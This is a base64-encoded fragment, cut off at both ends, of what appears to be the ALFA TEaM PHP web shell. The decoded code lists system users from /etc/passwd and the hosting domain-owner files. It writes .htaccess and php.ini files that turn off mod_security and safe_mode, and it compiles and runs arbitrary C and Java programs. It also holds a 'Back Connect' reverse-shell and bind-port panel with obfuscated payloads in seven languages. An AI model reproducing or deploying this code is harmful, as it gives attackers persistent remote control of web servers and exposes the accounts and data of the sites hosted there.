Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsNCiRzaXRlID0gdHJpbSgkX1BPU1RbJ2FsZmE3J10pOw0KJHJlcCA9IHN0cl9yZXBsYWNlKGFycmF5KCJodHRwczovLyIsImh0dHA6Ly8iLCJ3d3cuIiksIiIsJHNpdGUpOw0KJHVzZXIgPSAiIjsNCmlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSAmJiBmdW5jdGlvbl9leGlzdHMoImZpbGVvd25lciIpKXsNCglpZigkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzL3skcmVwfSIpKSl7DQoJCSR1c2VyID0gJHVzZXJbJ25hbWUnXTsNCgl9DQp9ZWxzZXsNCglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsNCgkJJHVzZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJHJlcCk7DQoJfQ0KfQ0KaWYoIWVtcHR5KCR1c2VyKSYmJHVzZXIhPSdyb290Jyl7DQplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+PHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5Vc2VyOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskdXNlcn08L2ZvbnQ+PC9iPjwvdGQ+PC90cj48dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPnNpdGU6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+eyRyZXB9PC9mb250PjwvYj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KfWVsc2Uge2VjaG8gX19wcmUoKS4nPGNlbnRlcj48Yj5ObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5IE9yIERpc2FibGUgRnVuY3Rpb25zIGlzIG5vdCBOT05FLi4uPC9iPjwvY2VudGVyPic7fQ0KfWVsc2V7DQokc2l0ZSA9IHRyaW0oJF9QT1NUWydhbGZhNyddKTsNCiRyZXAgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cHM6Ly8iLCJodHRwOi8vIiwid3d3LiIpLCIiLCRzaXRlKTsNCiR1c2VycyA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsNCmZvcmVhY2goJHVzZXJzIGFzICRib3opew0KJGV4ID0gZXhwbG9kZSgiOiIsJGJveik7DQppZigkZXhbMF0gPT0gJHJlcCl7DQplY2hvIF9fcHJlKCkuIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+DQo8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlVzZXI6IDwvYj48L2ZvbnQ+PC90ZD48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkYwMDAwXCI+Ii50cmltKCRleFsxXSkuIjwvZm9udD48L2I+PC90ZD48L3RyPg0KPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5zaXRlOiA8L2I+PC9mb250PjwvdGQ+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGMDAwMFwiPnskcmVwfTwvZm9udD48L2I+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjticmVhazt9fX19fQ0KaWYoIWVtcHR5KCRfUE9TVFsnYWxmYTUnXSkgJiYgaXNzZXQoJF9QT1NUWydhbGZhNSddKSl7DQppZighX2FsZmFfZmlsZV9leGlzdHMoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKSl7DQplY2hvIF9fcHJlKCk7DQokaSA9IDA7DQp3aGlsZSAoJGkgPCA2MDAwMCkgew0KJGxpbmUgPSBAcG9zaXhfZ2V0cHd1aWQoJGkpOw0KaWYgKCFlbXB0eSgkbGluZSkpIHsNCndoaWxlIChsaXN0ICgka2V5LCAkdmwpID0gZWFjaCgkbGluZSkpew0KZWNobyAkdmwuIlxuIjsNCmJyZWFrO319JGkrKzt9DQp9ZWxzZXtlY2hvIF9fcHJlKCk7DQokdXNlcnMgPSBfYWxmYV9maWxlKCIvZXRjL3ZpcnR1YWwvZG9tYWlub3duZXJzIik7DQpmb3JlYWNoKCR1c2VycyBhcyAkYm96KXsNCiR1c2VyID0gZXhwbG9kZSgiOiIsJGJveik7DQplY2hvIHRyaW0oJHVzZXJbMV0pLic8YnI+Jzt9fX0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmE0J10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTQnXSkpew0KZWNobyBfX3ByZSgpOw0KaWYoX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKSl7ZWNobyBfX3JlYWRfZmlsZSgiL2V0Yy9wYXNzd2QiKTt9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSl7DQpmb3IoJHVpZD0wOyR1aWQ8NjAwMDA7JHVpZCsrKXsNCiRhcmEgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQppZighZW1wdHkoJGFyYSkpew0Kd2hpbGUobGlzdCAoJGtleSwgJHZhbCkgPSBlYWNoKCRhcmEpKXsNCmVjaG8gIiR2YWw6IjsNCn1lY2hvICJcbiI7fX0NCn1lbHNle19fYWxlcnQoJ2ZhaWxlZC4uLicpO319DQppZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSAmJiBpc3NldCgkX1BPU1RbJ2FsZmEyJ10pKXsNCkBfX3dyaXRlX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddLiIuaHRhY2Nlc3MiLCIjR2VuZXJhdGVkIEJ5IFNvbGUgU2FkIGFuZCBJbnZpc2libGVcbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlYy0tLS0tLUVuZ2luZSBPZmZcblNlYy0tLS0tLVNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsNCmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgQXBhY2hlIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7DQp9DQppZighZW1wdHkoJF9QT1NUWydhbGZhMSddKSYmIGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpew0KQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uInBocC5pbmkiLCJzYWZlX21vZGU9T0ZGXG5kaXNhYmxlX2Z1bmN0aW9ucz1CeVBhc3NlZCBCeSBTb2xlIFNhZCAmIEludmlzaWJsZShBTEZBIFRFYU0pIik7DQplY2hvICc8Y2VudGVyPjxiPjxiaWc+IHBocC5pbmkgY3JlYXRlZC4uLiE8L2NlbnRlcj48L2I+PC9iaWc+JzsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICYmIGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkpew0KQF9fd3JpdGVfZmlsZSgkR0xPQkFMU1snY3dkJ10uIi5odGFjY2VzcyIsIiNHZW5lcmF0ZWQgQnkgU29sZSBTYWQgYW5kIEludmlzaWJsZVxuPEZpbGVzICoucGhwPlxuRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNFxuPC9GaWxlcz5cbjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz5cblNlY0ZpbHRlckVuZ2luZSBPZmZcblNlY0ZpbHRlclNjYW5QT1NUIE9mZlxuPC9JZk1vZHVsZT4iKTsNCmVjaG8gJzxjZW50ZXI+PGI+PGJpZz5odGFjY2VzcyBmb3IgTGl0ZXNwZWVkIGNyZWF0ZWQuLi4hPC9jZW50ZXI+PC9iPjwvYmlnPic7DQp9DQplY2hvICI8YnI+PC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmZ1bmN0aW9uIF9fZ2V0X3Jlc291cmNlKCRjb250ZW50KXsNCnJldHVybiBAZ3ppbmZsYXRlKF9fWkdWamIyUmxjZygkY29udGVudCkpOw0KfQ0KZnVuY3Rpb24gX193cml0ZV9maWxlKCRmaWxlLCAkY29udGVudCl7DQppZigkZmggPSBAZm9wZW4oJGZpbGUsICJ3YiIpKXsNCmlmKGZ3cml0ZSgkZmgsICRjb250ZW50KSE9PWZhbHNlKSByZXR1cm4gdHJ1ZTsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGJjaW5pdCgkZXZhbFR5cGUsICRldmFsQ29kZSwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyl7DQokcmVzID0gIjxmb250IGNvbG9yPSdncmVlbic+WyBTdWNjZXNzLi4uISBdPC9mb250PiI7DQokZXJyID0gIjxmb250IGNvbG9yPSdyZWQnPlsgRmFpbGVkLi4uISBdPC9mb250PiI7DQppZigkZXZhbE9wdGlvbnMhPSIiKSAkZXZhbE9wdGlvbnMgPSAkZXZhbE9wdGlvbnMuIiAiOw0KaWYoJGV2YWxBcmd1bWVudHMhPSIiKSAkZXZhbEFyZ3VtZW50cyA9ICIgIi4kZXZhbEFyZ3VtZW50czsNCmlmKCRldmFsVHlwZT09ImMiKXsNCiR0bXBkaXIgPSBBTEZBX1RFTVBESVI7DQpjaGRpcigkdG1wZGlyKTsNCmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsNCiR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7DQokZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsNCiRwYXRoID0gJGZpbGVuYW1lOw0KaWYoX193cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsNCiRleHQgPSAoJEdMT0JBTFNbJ3N5cyddPT0nd2luJyk/ICIuZXhlIjoiLm91dCI7DQokcGF0aHJlcyA9ICRmaWxlbmFtZS4kZXh0Ow0KJGV2YWxPcHRpb25zID0gIi1vICIuJHBhdGhyZXMuIiAiLiRldmFsT3B0aW9uczsNCiRjbWQgPSAiZ2NjICIuJGV2YWxPcHRpb25zLiRwYXRoOw0KYWxmYUV4KCRjbWQpOw0KaWYoaXNfZmlsZSgkcGF0aHJlcykpew0KaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsNCiRjbWQgPSAkcGF0aHJlcy4kZXZhbEFyZ3VtZW50czsNCmFsZmFFeCgkY21kKTsNCn1lbHNleyRyZXMgPSAkZXJyO30NCnVubGluaygkcGF0aHJlcyk7DQp9ZWxzZXskcmVzID0gJGVycjt9DQp1bmxpbmsoJHBhdGgpOw0KfWVsc2V7JHJlcyA9ICRlcnI7fQ0KfQ0KcmV0dXJuICRyZXM7DQp9ZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsNCiR0bXBkaXIgPSBBTEZBX1RFTVBESVI7DQpjaGRpcigkdG1wZGlyKTsNCmlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsNCmlmKHByZWdfbWF0Y2goIi9jbGFzc1wgKFtee10rKXsvaSIsJGV2YWxDb2RlLCAkcikpew0KJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOw0KJGZpbGVuYW1lID0gJGNsYXNzbmFtZTsNCn1lbHNlew0KJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsNCiRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsNCiRldmFsQ29kZSA9ICJjbGFzcyAiLiRmaWxlbmFtZS4iIHsgIi4kZXZhbENvZGUgLiAiIH0gIjsNCn0NCiRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7DQppZihfX3dyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpew0KJGNtZCA9ICJqYXZhYyAiLiRldmFsT3B0aW9ucy4kcGF0aDsNCmFsZmFFeCgkY21kKTsNCiRwYXRocmVzID0gJGZpbGVuYW1lLiIuY2xhc3MiOw0KaWYoaXNfZmlsZSgkcGF0aHJlcykpew0KaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsNCiRjbWQgPSAiamF2YSAiLiRmaWxlbmFtZS4kZXZhbEFyZ3VtZW50czsNCmFsZmFFeCgkY21kKTsNCn1lbHNleyRyZXMgPSAkZXJyO30NCnVubGluaygkcGF0aHJlcyk7DQp9ZWxzZXskcmVzID0gJGVycjt9DQp1bmxpbmsoJHBhdGgpOw0KfWVsc2V7JHJlcyA9ICRlcnI7fQ0KfQ0KcmV0dXJuICRyZXM7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBhbGZhY29ubmVjdCgpew0KYWxmYWhlYWQoKTsNCiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08zT0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2FHUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUUMwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsSHNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNGb3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVVYRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZEN2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7DQokcHl0aG9uPSJwVlJ0VDlzd0VQNmNTdjBQeHB0V1I4ME03WVkwd1lKVVFaalFCbFJ0cDMwQVZxWE9wWW1XT3BIdFFQbkNiNS90SkcxQUhVS2FxcmErVjk5ejk1emY3ZTJYVXV3dlVyNFAvQjRWanlySmViZVRyb3BjS0NUQWsrV2lFRGtES2IxY2V2SlJmM1AyQjVTbjBoVjBPNFdQY2JlVDJOOElZaVFUeURMQzNLTnV4ekZ4L2phZWp2TUNPR0dlOWZGbm90VFpWWlNYNnBuVHhUZ3dhaEJpbHpybEw3V3V2a21BS2dWSFJrMnJsRlJBR0JHMzM2aDB1cFpxVlNqaVV1QXNqNEQwU2hWLy9OTFRlU29JSVZOcHptc01hWXh5U1htNGdqMGZjNFdOem9sOVJ1TTBBNTRUYzd1alBYUmpGS3dJaHJWdDNDeVlYUHByQldKMVBKNE8vTjc3OGErems5NXhiZFdxWTl0eW1hQ1BLZnI2QWZlbEVpUjIreGlkdElYaFZqSVhRU2JCRnZDUTZOdVI2YUFWSFNVZXE0TWpkR2tDMkQwWkhBdy91elFDQ3hGYmlOZ1c2OENhUWFGcS95S1VzdEkydVIyRFdXTWp3ajA1cURYT3doZEFKWVNDSlFTejZCYVJtOSszOHE3dllrOTRjUll1cFhHNCtIWjFQUWxPUjlQQXJlTjBxa1dUbys1bEVhcUVwakpLQlZuUXBjakxnZ3hjZCtOa21zbVNGOWJHcUVjSlBDTC9tbURqMThLaTh4bCtXVllLdDExSnFWRElJNHRVbnczV09ydVJLa2ViQjlYa09nKzExSENrcWVCb1N6NTh5M0ZmRjc4RXhSNE16L0NKM29tbHI1bEJRN0c4MTB0VjlYWHArdjdRN29lL3ZCbmNkVHVRdFN5ZjJoWW4wWWVoZGRHVndEcFZ1aHRtNlZLdVNLRlAwcSsya1ZaL3BKWkc1L09McTJCV3J5cWRYcDkrbjA5bmsyQjBhV0kwVEdVc2ViRUptRjcvbUJ1dmRzeDhFdnljQnFPenM0bG5MbjFadmFTYXdSRWgrSURhRC9ZS093QkpzMVR2QWllSFJqTE0xQ3NmdXI3dUFqUEVzeXZUNHFCNVI2ak1BQXFMYlR1OG5hdlhVSURnSnpUSzRoRE5JRnlocVprdmV0SVQyTTJKTFNGZUM4ZWJwMkYzbHMzRDhLd1pkbUFHSnRMRXpUa0hwZ2hKNm1ic3hubjRCcHp5LzNDK0Z2NUduTkw5Q3c9PSI7DQokcGVybD0ibFpMUmpwTkFGSWF2MjZUdk1PSnNDOGtZV3IxYnBKRlEzRFJyUzhPd0dtT1ZzUFNzVEtRRGdWbTNtKzcyMlowQlZpZkdHTDA3NTUvRGQrQWJuait6YjV2YXZtYmNCdjRkVlZBWG8rRnRBMmdabnAvVE12c0d3aGtOY2RtNCtFdW9xaVozRFRoVVpTMVFIRVFyOXlDZzNqc2JPbk1uVzd6NXNOak9KMDUvTGtPbkpUYzVlc0VNK1RTN01SWHF0TGZ2Wk15c1k0czc4OE1WM1FUK0diSXZEZWRSTGhIdVZ4QlZYWXJ5K3A2bmV6QW5JcXNtbGlRMDdTdVpsSXczYjVQbE9vakptSWIrWlVMaktQQldCQXZyNFdISHdMUzZiVys4Nk9LOTY4NnM0Mmc0d0pXTFZmOXArbG1lRGhvUWlsWldDa2ZEZDRrQ1NTQU5reWk0b29HM1dFUmtwa0FEK1JFN09hVEcwOTJ1VGhnM2NVV1dheldTZU91UGxyWjFVTEJHQUpmanIvUTB6VEtRbTN4Q3JXNjVKUHJFT0NHdnVFbFJET2tlMFJ5S0FwMjIzQ0RUZHFpc2dDTWFMNVpyWXJ3ZSs0YnpGSVJYTVRIbWVoSkVVWi9JNStBQUdaSnF0ZlZaVVRaZytwYlRGZlJub2VoYUk4bGFKNmxXQjJRQ1RXVWxMd2VLNXBmWWwzOFNpL08rblhVdGN4a0hrYVNpbE5weVhRcE8zZCtjWXFhZlp5WG5rS243d2FtZXQvYm9QOWd6ZTN2ek1UVXM1eW5wOWVsUjcwOUZmeFA0Zjk0NlczQlUra3o1SnozK0FBPT0iOw0KJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6VnhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hVd2lESUljeGxnMDlrd0VTb0JyQjhmSEhaNSsvRHQ0ZW5ieDZmL3d1enFzWnAwTUo4WFNvYU5FSnAzTEcrS1Y1VHhtZnpNS29yMFFEdmZHd2xCQUF6NTFGQWNQU09PbElKU0p0T2RWN2dOZ1l2MklseEhET3BKSjlyOVRhZ1k4bjVqQ3owcmcxRUt2cXF3N05HRGJIYmFSWUZjQ3hTRVU4a2Myb2syUkowaVZaUmlKc1lUNE40YUxSaDQ2T1gzK0tTK0FUVmFUcGZvRDFNcUl2RDA3VG44ay9YeDdjLy9QMFlyLzc1R28zNmRmcEc2NWdBcUxqRVZGUEI2dnNHWm1lUEI5OEFQRWRoSTJUa0c0ZFdRMU5aVHlrRkdvSHBIRXRHRmVZMkRaZ1dVQlo0aDZtRmVkQUZlUVpKeFkzZ2duajlza3NIU2l2bE84RlhsampsSm9xc0NVaG5BUEYwdm9aZHdpYzE1VlErT1RsOGJ2MFhJR1lIZ3crN0tkaHRqdjQrMFYyR0I1NHZSWWUyRHNrQzN5ZjRleXY3TjdkSEdlSGRudm9kdElkbTFjMDl3YW1zWXV1Mi9UbVBTWXhpZmJJSVZsQ3pRcmRhVnpxMkNlZ2xoTXlTd3laQkF4Q1ZPS1pxRXp5cFdsR3ppQVQvZDFrQmUrclU4YTBxS1oxbWhLeUF2RXdZNGZtT1A0allXc2hacFZwNmUrT1JpYXNHNGFSTTd6eFJIdDFjejAvVkZYaVI3OVRSaHZSenNlOFFMY2dYekNodld2TE53SE5aZDZrMjY0akN3MzFaY3BtdlJ2THRDNXBWNmV0RTdvTi9wK21CUnROdlhrZjExVU52Rk4yaVNEUnhTV3JMbHZ6ckRKc2srOFJQWmQ3Szc2dWdtM0QvbDIyK0wxOUZpQnBjMzN2TmZuTjZRVzRiTVIxQmpLbVpiV1FrVXc1SzRQV2x1dmhFckU5dEFTNWdkaTBvMVZxTzlEU0lyWGY5azgxeDVvQytvQWM0VHJHc3o4ZWp2RjJMb29yeTNwSWJzRnh5QkVjUWt2VWhoQWFhNzYwaklhTXUvK2J5RkNiMlR6bzFRdWxsUzFoU1VkWVdvSnVJU2tiUDFyRFRNakxGNm5JeXRCbTRrSHRvVFUwZzlyRGk0emloVXZrNFVTMmQzYmRtTEN0eTI5TXNEbUtkcEJYM1M1ci9vMXo4TWgxMHltM25NNGxwMzUzbS84enNIYmdrSjgyRTZXYk0vMWtKd3o1OFhLVFo4Rkc4Z3M9IjsNCiRub2RlPSJuVkhMYXNNd0VEd3JrSDhRdmxpQ29FRFRXOGloOUJQU1cvcEF0ZGVSUUpaY1NYWUtJZm4yeXJLZDV0R1dZaCtFZDJkMk5EdHF1TVd1NGp1TlY5akNSeTB0a0RRVFV1VnZsVFVaT0pkU0Znbkw2YVFKWkEzK25CcktsUGFROHhaNGVZNTJuUk1oTTlvWkJSZFhkYTFJNlZVRUtCVW82ZnhkNnJrVGFVQmtRWG8zckZMY0Y4YVdyT1ErRTJUK3Vnc3NTZW4zWEZibURENGhQU2x5dTIwQ01DaTBaYWZaL2pFRmV1dkZhcldnKytrRXRYd1J5R0V2bGdYekh0WmdHN0NrcUhYbXBkSEVSUjV5YkdlbEI1SWM4WU1xT0g1cVYxOUhEOGRubmJUNzRQN3J0Z3FpTVVjU2paN2pUakRuYzZtWkJWZVhRT2cxWkdyUHdzMUp6ajFQWm9NVFROcWE3Z2Nuc1ZvZWJwWEIycEhqZjQwTnBtK21VWGNLcHFUem9HUEttN3VYdG5tWVRrQTV3TmZaMzUreWR4ZlpQeHF0b1l1OVY1bkYxOXdzb3R4L0hnSDlsajc2SVhZME1tODBNbWcwTHVIREZ3PT0iOw0KJGM9InRWSnRiOW93RVA3Y1N2MFBIcDFhcC9XQXNPMFRUYVdvWkJMYUNoSEpORTBiaWxMSE5LY1pHOFZtZ2s3cmI5OGxCQXJaaS9hbFVxemNQZmY0N256UG5ZTGljcGtKY21Wc0JycWRYNThjbis1aEJhajczOEJNd2wwVFhKdU9YUytFK1FOdU5QOG1iQ09naEFVOEhWQ053RklCVnFoQVVKYk1VMUMwTk5MaW5qT2Vwd1c1UVBQN2w2bno0K1Q0cUl3WXhwbjIzRDY2MlBDU0k0SVYweXdyRWxBRVNoeG10THp2ZWIzcTFoRzBEYWhrbHM1QnJqMy9YVEljQlhIL0tiRFFoZlZ5cTVXaHFkVkFxNEx1MUhIMk9HWCt0cWwrRlZYUzRjZ2ZEQ2FKUC9xODRSbHY4M0phRjJEUitPWjlFc1dUd0w5bDNab2piRW5TQzBzTnhqOGtKYWVpSnBQZ1l4U1VHZG1aWmdZZWhKNVJ2VzFoUmw4WVI2ekEwanJSSGFnTVU5REdCTWlGY3dhc3UzSnJtc1RoQ29YRXR4dWZleW5ub3FyZWZlb0pVM0hXZWlTK25LVWtGdW1jUkxtUWtqeCtWUzNXZTdNbFpzdEZENG1Ibm52ZzllcVVheXc3cHkyeEtrZEw0bUJ5NjYyc0tPYjlNSEs5ODVmaHA4SDFlYitPSW9TbTRLU0RqK3FZbkx5Q1Z0MnQxRVpRWGprLzhRaHBCTmxwKy9wWnRDMjN0TEkyek42MG52ZURLUFFXWWpoMWlXUGRNaTdkeTMxa2wvMmZHekVNdzhrNEhpZnhUYmdUbVhLdGxPRDJyOHJXZTlHSU9ZNXoxVDFZajBwVDg3K2Ftb2JuSG5qUG9hblphb3JmTHc9PSI7DQokamF2YT0ibFZSTmI5c3dERDJuUVArRDRKTTlCRzZUMDRiQ3d6Nnd3NEFCSFpiZXVod1VoYkcxMnJJZzBYR0NOUHZ0b3o3c3Vtc3ZQZGlXeUNmeThaR3liSFJya1AzaGU1N0xObjkzYzNraEp5WUY2RzJYRjdyYjFGSXdVWE5yR2E5My9BNTRjN3E4bUdrajl4eUJXZVJJZ0oxVXZJNHdqUXdPQ0dwcjJWMWxnRzhkZmp6d1hla09WMGoyaGtsN00zWGRkdmprYXp2MERNZ2RPR2hNbjUrZHZ6aVFuYkNTTnBlMm9NaCtTY2JDUlRxSFVKOXU5MkNNM01JazdyNlZXMlk2bFdhZTV3ek5NU3htbXlQQy9acHRXTUVVOU14djN5OCtMTmMzd1M4Vk1rRk95dVBLVERkWmRQU1ZyQ0VWSDR2cmpNVllNMktSOTBZaXBKdjU5VndNVUcvZjFaMnQwdEgwYXN5ei80UzM0Q2lxOU50QmdFYlpLZ2JaQ1hKU1VaRVdYRHpjR1M2QXdubXdlNFhxWTcyeFk3N3Noa3VWa241U2xWUW9ONlVOSXJqSzNEajQzTUhQUkxNbFhzblZScW9yV3lYZUpYZnA2bWdSbXJ3RS9HbGFEUWFQYWRMYVhQRUdraXpIOWtmYmcvbktMUkhLcGRyQzRYYVhKcjFVU2Via09jV285RWtDMzVpdGQ5YS83RE9OSEhNengxWVYxRFg3KzF1RnpKUGU5Qzc1RjlyYktPR3FGUStBcklwOUM5dm9HN3RMMUYyOWVRMnF4S29vRnJIOU0zOE5DcHBUaEJKTXJybXhRQnVQdnI5ZUQvMVlnYUZaaXFuc2tHcGlURjJnQWUyNDJKd0wxN0doMGFHWFVGdGcvNU5adnBWTUVFMXF3bnJYWWoxSlBCRkI2am1iOERxL0xnVjdmR1N2ODVuZXdGSzZzaXVuL3NROGp2R3p5MW0ySTNacUg4SGtIMjdIWUtKeEV1QitKM1R3VjZkUU51Q094eVZORXh4QXBEUTRXZnhQa0ZvMHRZdFlNT21zWDFDYk95SkRBb2RlUHFGTDkwZlJMeG1POEVWT1Y4ZTQ5dW5sdUh5UzBiL2VjRFBwT2Y4RCI7DQplY2hvICI8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBCYWNrIENvbm5lY3QgfDwvZGl2Pjxicj48YnI+IjsNCmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZygnY29ubmVjdCcsbnVsbCx0aGlzLnNlbGVjdENiLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLmNibWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+DQo8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPk1laHRvZDo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjYm1ldGhvZCcgb25DaGFuZ2U9J2N0bGJjKHRoaXMpOycgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PG9wdGlvbiB2YWx1ZT0nYmFjayc+UmV2ZXJzZSBTaGVsbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JpbmQnPkJpbmQgUG9ydDwvb3B0aW9uPjwvc2VsZWN0PiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdzZWxlY3RDYic+IjsNCiRjYkFyciA9IGFycmF5KCJwaHAiPT4iUGhwIiwicGVybCI9PiJQZXJsIiwicHl0aG9uIj0+IlB5dGhvbiIsInJ1YnkiPT4iUnVieSIsImMiPT4iQyIsImphdmEiPT4iSmF2YSIsIm5vZGUiPT4iTm9kZUpzIiwiYmN3aW4iPT4iV2luZG93cyIpOw0KZm9yZWFjaCgkY2JBcnIgYXMgJGtleT0